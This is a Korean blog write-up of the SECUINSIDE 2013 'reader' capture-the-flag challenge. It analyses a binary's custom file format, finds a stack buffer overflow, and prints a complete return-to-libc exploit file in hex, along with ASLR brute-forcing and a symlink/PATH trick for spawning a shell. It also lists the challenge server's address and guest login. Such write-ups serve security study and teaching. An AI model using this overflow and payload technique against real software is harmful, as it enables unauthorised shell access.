http://war.secuinside.com/files/reader
ip : 59.9.131.155
port : 8282 (SSH)
account : guest / guest
We have obtained a program designed for giving orders to criminals.
Our investigators haven't yet analyzed the file format this program reads.
Please help us analyze the file format this program uses, find a vulnerability, and take a shell.
SSH 계정과 어떠한 포맷의 파일을 입력받아 처리하는 프로그램이 주어짐
exploit 해서 쉘을 따면 됨. ASLR, NX 걸려있음.
main 은 아래처럼 간단하다.
argv[1] 로 파일명을 전달해주면 이를 열어서 처리하고 끝난다.
아래는 파일을 열기전에 파일명을 받아서 뭔가 확인하는 함수인데
파일명을 16바이트 스택버퍼에 복사하지만 canary 가 걸려있다.
또한 파일명의 확장자가 .sec 가 아니면 invalid file extension 을 출력한다.
sub_80487ba 에서 파일명을 버퍼에 복사하는데 아래처럼 무제한으로 복사한다.
하지만 canary 가 걸려있어서 exploit 할수없다.
또한 복사한 파일명은 아무곳에도 안쓰이는걸로 보아 함정인거같다.
아래는 file 을 열어서 메모리상으로 로딩하는 함수이다.
이부분을 분석하면 아래와같다.
파일매직 12바이트는 \xffSECUINSIDE\x00 이어야함.
파일내용을 읽어올 버퍼는 136바이트 스택버퍼.
버퍼오프셋 32 에 파일오프셋 12부터 50바이트만큼 읽음
버퍼오프셋 83 에 파일오프셋 62부터 50바이트만큼 읽음
파일오프셋 112부터 4바이트 읽음(FF FF FF FF 이어야함)
파일오프셋 116, 120, 124, 128 에서 4바이트씩 읽음. 각각 버퍼 0, 4, 8, 12 째에 들어감.
파일에서 1바이트 더 읽음 -> 버퍼 16바이트째에 들어감
버퍼오프셋별로 읽은 5개의 수는
0. 5 이상 50이하 -> a2+20 의 malloc 사이즈
4. 100이하 -> a2+24 의 malloc 사이즈
4. 800이하 -> a2+28 의 malloc 사이즈
16. 0이 아닌 수.(1바이트)
이렇게 되어야함.
전역변수 ptr 은 a2+24 에 있는 malloc 포인터가됨.
3개의 malloc 된 공간에 각각 그 사이즈만큼 파일에서 읽어옴.
버퍼 24 의 malloc 포인터를 s(ebp-0x20) 로 덮어씀(원본은 ptr에..)
그리고 나서 아래와같은 함수를 호출
v1 에 a1+83 버퍼의 strlen 을 구하고 (최대 50)
ptr 이 가리키는 버퍼를 a1+24 인 32바이트 스택버퍼에 v1만큼 복사(18바이트 오버플로우)
memcpy(s, ptr, strlen(ptr)) 수행.(버퍼오버플로우 s[32] <- ptr[50])
따라서 아래처럼 페이로드를 만들면 되는데(정확히는 20바이트가 필요하지만 마지막 0 이 스택에 있어주길 기대하고...)
[&system][0xDEADBEEF][&"sh"][0]
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7562000)
libc 상에서 "sh" 도 찾고 system 도 찾아서...(어떻게 찾는지는 여기 설명없음)
Found offset : e3b6(0xb76223b6), ["sh"]
Found offset : 41280(0xb7594280) [system]
system 시그니쳐.
\x83\xec\x1c\x89\x74\x24\x14\x8b\x74\x24\x20\x89\x5c\x24\x10\xe8\x4f\xc3\x0e\x00\x81\xc3\x6c\xdd
system : 0xb7562000 + 0x41280 = B75A3280
sh : 0xb7562000 + 0xe3b6 = B75703B6
아래처럼 파이널 익스플로잇을 만들고 ASLR 이 힛되기를 기다렸다...
final exploit.
\x80\x32\x5a\xb7\x41\x41\x41\x41\xb6\x03\x57\xb7\x00\x00\x00\x00
이를 input 파일상에 적용하고 브루트포스...
\xFF\x53\x45\x43\x55\x49\x4E\x53\x49\x44\x45\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x80\x32\x5A\xB7\x41\x41\x41\x41\xB6\x03\x57\xB7\x00\x00\x00\x00\x42\x42\xFF\xFF\xFF\xFF\x05\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x00\x00\x43\x35\x35\x35\x35\x35\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55
하다보니 아래처럼 system 이 호출되긴 했는데 "1" 이라는 명령을 찾을수 없다고한다 -_-;;
"sh" 오프셋을 잘못계산했는지 확인하고 계속 디버깅을 했는데...
sh: 1: : not found
Segmentation fault
디버깅하다보니 18바이트까지 덮어써지지 않고 무슨 이유에선지 14 바이트까지만 덮어지는 바람에
system 의 첫번째 파라미터를 제어할수가 없었다... 그런데 디버깅하다보니 이곳에 항상 내가 파일상에
명시하는 데이터중 하나가 가리켜지고 있었다. -_-
일단 시스템 주소는 맞았고, 파라미터 전달만 안되는것이므로...
시간이 없으니 왜그런지 자세한분석은 안하고 그곳에 "1" 이 들어가도록 해놓은다음
ln -s /tmp/meltdown/1 /bin/sh 로 심볼릭 링크를 걸어놓고,
export PATH = $PATH:/tmp/meltdown
으로 환경변수를 세팅한다음 브루트포싱을 해서 아래처럼 쉘을 획득했다 -_-
'Games > CTF' 카테고리의 다른 글
HDCON 2013 level3 (0) | 2013.06.11 |
---|---|
HDCON 2013 level1 (0) | 2013.06.11 |
SECUINSIDE 2013 127.0.0.1 (2) | 2013.05.28 |
SECUINSIDE 2013 givemeshell (0) | 2013.05.28 |
PlaidCTF 2013 ropasaurusrex (5) | 2013.04.23 |